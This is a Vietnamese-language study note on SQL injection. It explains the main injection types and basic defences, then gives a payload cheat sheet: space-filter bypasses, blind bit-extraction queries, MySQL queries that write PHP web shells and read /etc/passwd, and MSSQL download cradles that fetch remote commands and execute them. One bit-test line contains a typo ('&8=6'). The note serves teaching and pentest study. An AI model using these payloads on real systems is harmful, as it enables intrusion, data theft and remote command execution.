# SQLi ## Kiến thức cơ bản SQL injection là một lỗ hổng web cho phép attacker can thiệp vào các câu lệnh truy vấn mà ứng dụng thực hiện với database của nó. Điều này có thể cho phép kẻ tấn công xem những dữ liệu ngoài phạm vi mà thông thường không thể xem được. Có thể là những dữ liệu của người dùng khác trong hệ thống, hoặc những dữ liệu chỉ ứng dụng có quyền truy xuất. Trong nhiều trường hợp, kẻ tấn công còn có thể chỉnh sửa hoặc xóa dữ liệu. * các loại SQLi: * In-band SQLi: Là kiểu tấn công phổ biến và dễ khai thác nhất, xảy ra khi kẻ tấn công có thể dùng chung 1 kênh giao tiếp để có thể tấn công và thu thập kết quả trả về. Có 2 kiểu phổ biến nhất là Error-based SQLi và Union-based SQLi. * Error-based SQLi: là một kỹ thuật In-band SQLi dựa trên có thông báo lỗi được trả về bởi database để truy xuất các thông tin về cấu trúc cả database. Trong một số trường hợp, Error-based SQLi đã đủ để hacker có thể "enumerate" toàn bộ cơ sở dữ liệu. Mặc dù việc in các lỗi ra rất hữu ích trong giai đoạn phát triển của một ứng dụng web nhưng thay vào đó, chúng nên được vô hiệu hóa trên một trang web trực tiếp hoặc được ghi vào một tệp có quyền truy cập hạn chế. * Union-based SQLi: Union-based SQLi là một kỹ thuật In-band SQLi, tận dụng toán tử UNION SQL để kết hợp các kết quả của hai hoặc nhiều câu lệnh SELECT thành một kết quả duy nhất, sau đó được trả về như một phần của HTTP response. * Inferential SQLi (Blind SQLi): Không giống như in-band SQLi, kẻ tấn công có thể sẽ mất nhiều thời gian hơn để khai thác. Tuy nhiên, nó cũng nguy hiểm như bất kì kiểu tấn công SQLi nào khác. Trong một cuộc tấn công Blind SQLi, không có dữ liệu nào được thực sự truyền qua ứng dụng và kẻ tấn công sẽ không thể thấy kết quả của cuộc tấn công. Thay vào đó, kẻ tấn công có khả năng xây dựng lại cấu trúc cơ sở dữ liệu bằng cách gửi payload, nhận về phản hồi của ứng dụng web và hình vi kết quả của máy chủ cơ sở dữ liệu. Có hai kiểu là Blind-boolean-based SQLi và Blind-time-based SQLi. * Blind-boolean-based SQLi: dựa vào việc gửi truy vấn SQL đến cơ sở dữ liệu, buộc ứng dụng trả về một kết quả khác tuỳ thuộc vào việc truy vấn trả về kết quả True hay false. Tuỳ thuộc và kết quả, nội dung trong HTTP response sẽ thay đổi hoặc giữ nguyên. Điều này cho phép kẻ tấn công suy luận ra liệu payload có trả về đúng hay sai hay không. Ngay cả khi không có dữ liệu nào từ cơ sở dữ liệu được trả về. * Time-based Blind SQLi: Dựa vào việc gửi một truy vấn SQL đến cơ sở dữ liệu để buộc cơ sở dữ liệu phải đợi trong một khoảng thời gian xác định trước khi phản hồi. Thời gian phản hồi sẽ cho kẻ tấn công biết kết quả của truy vấn là TRUE hay FALSE. Tuỳ thuộc vào kết quả, HTTP response sẽ được trả về với độ trễ hoặc được trả về ngay lập tức. Điều này cho phép kẻ tấn công suy luận ra liệu payload được sử dụng có trả về đúng hay sai hay không, ngay cả khi không có dữ liệu nào từ cơ sở dữ liệu được trả về. * Out-of-band SQLi: Không quá phổ biến, chủ yếu là vì nó phụ thuộc vào các tính năng được kích hoạt trên máy chủ cơ sở dữ liệu đang được ứng dụng web sử dụng. Out-of-band SQLi xảy ra khi kẻ tấn công không thể sử dụng cùng một kênh để bắt đầu tấn công và nhận về kết quả. Các kỹ thuật tấn công Out-of-band SQLi cung cấp cho kẻ tấn công một giải pháp thay thế cho các kỹ thuật suy luận dựa trên thời gian(time-based), đặc biệt nếu phản hồi của máy chủ không ổn định lắm sẽ làm cho cuộc tấn công trở nên khó suy luận không đáng tin cậy. Dựa vào khả năng của máy chủ cơ sở dữ liệu để thực hiện các yêu cầu DNS hoặc HTTP nhằm cung cấp dữ liệu cho kẻ tấn công.Ví dụ với command xp_dirtree của Microsoft SQL server, lệnh này có thể được sử dụng để thực hiện các yêu cầu DNS tới máy chủ mà kẻ tấn công kiểm soát, cũng như package UTL_HTTP của cơ sở dữ liệu Oracle, có thể được sử dụng để gửi các yêu cầu HTTP từ SQL và PL/SQL đến máy chủ mà kẻ tấn công kiểm soát. * Cách lập trình an toàn để không bị SQLi: * Lọc dữ liệu từ người dùng * Tạo query thì sử dụng parameter, không sử dụng cộng chuỗi * Không hiển thị exception, message lỗi chi tiết. Khi có lỗi truy vấn, chi thông báo là có lỗi. ## Kiến thức nâng cao * bypass filter trong trường hợp input bỏ dấu cách: ```php <?php $id = str_replace(‘ ‘, ‘’,$_GET[‘id’]); $sql = “select * from products where id = ‘“ . $id . “‘“; ... ``` Để bypass trường hợp filter bỏ dấu cách, có thể dùng comment để thay cho dấu cách khi chèn dữ liệu. Ví dụ: điền id = `1/**/or/**/0` sẽ tương đương với `1 or 0`. Ngoài ra, trong MySQL, các comment thậm chí có thể được chèn vào trong chính các từ khóa, điều này cung cấp một phương tiện khác để bypass một số bộ lọc xác thực đầu vào trong khi vẫn giữ nguyên cú pháp của truy vấn thực tế: `SEL/**/ECT` ### Tối ưu tấn công boolean-based SQLi: Khi xem xét việc trích xuất dữ liệu từ các lỗ hổng Blind SQL injection, cần phải xem xét "chi phí" trích xuất dữ liệu. "Chi phí" chủ yếu của việc trích xuất dữ liệu là số lượng yêu cầu cần thiết để thực hiện việc trích xuất dữ liệu, "chi phí" phụ (không nhất thiết liên quan đến số lượng yêu cầu) là lượng thời gian trích xuất dữ liệu. Các kỹ thuật được nêu dưới đây nhằm mục đích giảm số lượng càng nhiều yêu cầu cần thiết để trích xuất dữ liệu. Kỹ thuật trích xuất dữ liệu đơn giản nhất là trích xuất từng byte dữ liệu của kết quả truy vấn bằng cách kiểm tra từng byte của kết quả dựa trên tập hợp đầy đủ 256 giá trị có thể có cho byte đó. Để làm ví dụ, nó có thể được triển khai bằng cách sử dụng các câu lệnh SQL sau: `MySQL` ```SQL CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=0 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=1 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=2 THEN 1 ELSE 0 END ... CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))=255 THEN 1 ELSE 0 END ``` (xxx)Truy vấn chúng ta muốn thực hiện. Trường hợp xấu nhất đối với việc trích xuất byte này (không có tối ưu hóa) là 256 yêu cầu trên mỗi byte, mặc dù trong thực tế điều này rất hiếm khi xảy ra. #### sử dụng chia để trị Chia không gian tìm kiếm thành hai, kiểm tra xem kết quả rơi vào tập hợp con nào cho đến khi chỉ còn lại một giá trị. Nó có thể được triển khai bằng cách sử dụng các câu lệnh SQL sau: `MySQL` ```SQL CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<128 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<64 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<96 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<80 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<72 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<68 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<66 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))<67 THEN 1 ELSE 0 END ``` Mỗi byte được trích xuất bằng cách sử dụng phép chia để trị yêu cầu 8 request, đây đã là một cải tiến đáng kể so với phương pháp trích xuất byte đơn giản. Tuy nhiên, các yêu cầu không thể được song song hóa trên mỗi byte vì mỗi yêu cầu (trừ yêu cầu đầu tiên) phụ thuộc vào kết quả của yêu cầu trước đó nên phải được thực hiện nối tiếp. #### Trích xuất byte theo bit Để cải thiện khả năng song song hóa yêu cầu, chúng ta có thể sử dụng kỹ thuật trích xuất dữ liệu theo bit. Đối với kỹ thuật này, chúng ta chỉ cần kiểm tra từng bit của từng byte mà chúng ta muốn trích xuất, kết quả sẽ là 1 hoặc 0 ánh xạ tới các câu trả lời truy vấn đúng hoặc sai: ```SQL! CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&1=1 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&2=2 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&4=4 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&8=6 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&16=16 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&32=32 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&64=64 THEN 1 ELSE 0 END CASE WHEN ORD(SUBSTR(BINARY((xxx)), 1, 1))&128=128 THEN 1 ELSE 0 END ``` Sau đó chúng ta có thể tái tạo lại các bit thành byte kết quả. Giống như kỹ thuật chia để trị, trích xuất byte theo bit yêu cầu 8 request mỗi byte, tuy nhiên các yêu cầu có thể được song song hóa, không có yêu cầu nào phụ thuộc vào kết quả của yêu cầu trước đó. #### Tối ưu hoá ##### Tối ưu hoá Character set **Trích xuất ký tự ASCII** Trong các ví dụ trên, chúng ta trích xuất toàn bộ byte từ kết quả truy vấn. Điều này tốt nếu chúng ta đang cố gắng trích xuất dữ liệu nhị phân từ cơ sở dữ liệu, nhưng thường thì chúng ta sẽ trích xuất dữ liệu văn bản. Nếu chúng ta mong đợi kết quả được biểu thị bằng các ký tự ASCII không mở rộng thì chúng ta có thể thực hiện trích xuất ký tự đơn giản thay vì trích xuất byte. `MySQL` ```SQL! ASCII(SUBSTR((xxx), 1, 1)) ``` **Giảm bộ ký tự** Dựa trên tối ưu hóa trích xuất ký tự ASCII, chúng ta có thể giảm bộ ký tự từ ASCII thành bộ ký tự tùy ý nhỏ hơn, ví dụ: `!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_` Chúng ta có thể sử dụng hàm INSTR cho MySQL hoặc hàm CHARINDEX cho SQL Server để lấy chỉ mục vào bộ ký tự được xác định của ký tự kết quả mà chúng ta đang trích xuất. `MySQL` ```SQL! INSTR( ' !"#$%&''()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_', SUBSTR((xxx), 1, 1) ) - 1 ``` INSTR bắt đầu từ 1, vì vậy chúng ta có thể xóa 1 khỏi kết quả để đánh index từ 0 cho kết quả. **Truy xuất bộ ký tự** Bộ ký tự của kết quả truy vấn không phải lúc nào cũng được biết hoặc có thể đoán được. Việc trích xuất kết quả truy vấn dựa trên bộ ký tự không chính xác sẽ vô tình loại trừ các ký tự trong văn bản kết quả, cung cấp kết quả sai. May mắn thay, chúng ta có thể dễ dàng kiểm tra xem văn bản kết quả có xác nhận với một bộ ký tự nhất định hay không bằng cách sử dụng 1 yêu cầu bổ sung: ```SQL! CASE WHEN (xxx) NOT REGEXP '[^0123456789ABCDEF]' THEN 1 ELSE 0 END ``` ##### Multi bit requests **Trích xuất 2 bit thông tin** Thông thường với blind SQLi, chúng ta trích xuất một bit thông tin cho mỗi yêu cầu, cụ thể là đúng hoặc sai. Các bit thông tin khác thường có thể được trích xuất bằng cách đưa ra độ trễ phản hồi thông qua các hàm sleep SQL. Kết hợp hai bit thông tin từ kết quả boolean và độ trễ thời gian, chúng ta có thể nhận được bốn kết quả có thể có cho mỗi yêu cầu: * Kết quả sai không có độ trễ (00) * Kết quả đúng không có độ trễ (01) * Kết quả sai có độ trễ (10) * Kết quả đúng có độ trễ (11) ```sql! ( CASE WHEN test&1=1 THEN 1 ELSE 0 END ) + ( CASE WHEN test&2=2 THEN SLEEP(5) ELSE 0 END ) FROM (SELECT (zzz) AS test) as x ``` **Trích xuất nhiều bit thông tin hơn** Chia thời gian phản hồi thành nhiều khoảng thời gian * Độ trễ 0 giây (00) * Độ trễ 6 giây (01) * Độ trễ 12 giây (10) * Độ trễ 18 giây (11) ### Từ SQLi dẫn đến đọc, ghi file và RCE #### read and write file Đọc và ghi vào tệp hỗ trợ việc thu thập dữ liệu cũng như lọc dữ liệu. Nhiều phương pháp bao gồm ghi vào webroot, cho phép thực thi web shell hoặc cho phép lọc dữ liệu qua cổng 80/443. `MySQL` | Description | Query | | -------- | -------- | | Dump to file | SELECT * FROM mytable INTO dumpfile '/tmp/somefile' | | Dump PHP Shell | SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php' | | Read File | SELECT LOAD_FILE('/etc/passwd') | |Read File Obfuscated| SELECT LOAD_FILE(0x633A5C626F6F742E696E69)<br>reads c:\boot.ini| |File Privileges| SELECT file_priv FROM mysql.user WHERE user = 'netspi'<br>SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%' | `Oracle` Dùng UTL_FILE package được tích hợp sẵn `MSSQL` | Description | Query | | -------- | -------- | |Download Cradle bulk in server - TSQL| -- Bulk Insert - Download Cradle Example<br><br> -- Setup variables<br>Declare @cmd varchar(8000)<br><br>-- Create temp table<br>CREATE TABLE #file (content nvarchar(4000));<br><br>-- Read file into temp table - web server must support propfind<br>BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';<br><br>-- Select contents of file<br>SELECT @cmd = content FROM #file<br><br>-- Display command<br>SELECT @cmd<br><br>-- Run command<br>EXECUTE(@cmd)<br><br>-- Drop the temp table<br>DROP TABLE #file| |Download Cradle OAP 1 - TSQL| -- OLE Automation Procedure - Download Cradle Example<br>-- Does not require a table, but can't handle larger payloads<br><br>-- Note: This also works with unc paths \\ip\file.txt<br>-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.<br><br>-- Setup Variables<br>DECLARE @url varchar(300)<br>DECLARE @WinHTTP int<br>DECLARE @handle int<br>DECLARE @Command varchar(8000)<br><br>-- Set target url containting TSQL<br>SET @url = 'http://127.0.0.1/mycmd.txt'<br><br>-- Setup namespace<br>EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT<br><br>-- Call the Open method to setup the HTTP request<br>EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'<br><br>-- Call the Send method to send the HTTP GET request<br>EXEC @handle=sp_OAMethod @WinHTTP,'Send'<br><br>-- Capture the HTTP response content<br>EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out<br><br>-- Destroy the object<br>EXEC @handle=sp_OADestroy @WinHTTP<br><br>-- Display command<br>SELECT @Command<br><br>-- Run command<br>EXECUTE (@Command)| |Download Cradle OAP 2 - TSQL|-- OLE Automation Procedure - Download Cradle Example - Option 2<br>-- Can handle larger payloads, but requires a table<br><br>-- Note: This also works with unc paths \\ip\file.txt<br>-- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.<br><br>-- Setup Variables<br>DECLARE @url varchar(300)<br>DECLARE @WinHTTP int<br>DECLARE @Handle int<br>DECLARE @Command varchar(8000)<br><br>-- Set target url containting TSQL<br>SET @url = 'http://127.0.0.1/mycmd.txt'<br><br><br>-- Create temp table to store downloaded string<br>CREATE TABLE #text(html text NULL)<br><br>-- Setup namespace<br>EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT<br><br><br>-- Call open method to configure HTTP request<br>EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'<br><br>-- Call Send method to send the HTTP request<br>EXEC @Handle=sp_OAMethod @WinHTTP,'Send'<br><br>-- Capture the HTTP response content<br>INSERT #text(html)<br>EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'<br><br>-- Destroy the object<br>EXEC @Handle=sp_OADestroy @WinHTTP<br><br>-- Display the commad<br>SELECT @Command = html from #text<br>SELECT @Command<br><br>-- Run the command<br>EXECUTE (@Command)<br><br>-- Remove temp table<br>DROP TABLE #text| |Reading Files - TSQL|https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceTxt.sql<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_BulkInsert.sql<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenDataSourceXlsx<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetBulk.sql<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetTxt.sql<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/readfile_OpenRowSetXlsx.sql | |Writing Files - TSQL| https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_bulkinsert.sql<br>https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/writefile_OpenRowSetTxt.sql | #### command execute `MySQL` | Description | Query | | -------- | -------- | | Command Execution (PHP) | SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php' | |Command Execution with MySQL CLI Access |https://book.hacktricks.xyz/pentesting-web/sql-injection/mysql-injection/mysql-ssrf | | Traversing directories (Linux)| SELECT load_file("/etc/passwd") from information_schema | Ngoài ra còn kĩ thuật sử dụng SMB Relay shell `Oracle` `MSSQL` Tham khảo thêm: https://sqlwiki.netspi.com/attackQueries/executingOSCommands/#sqlserver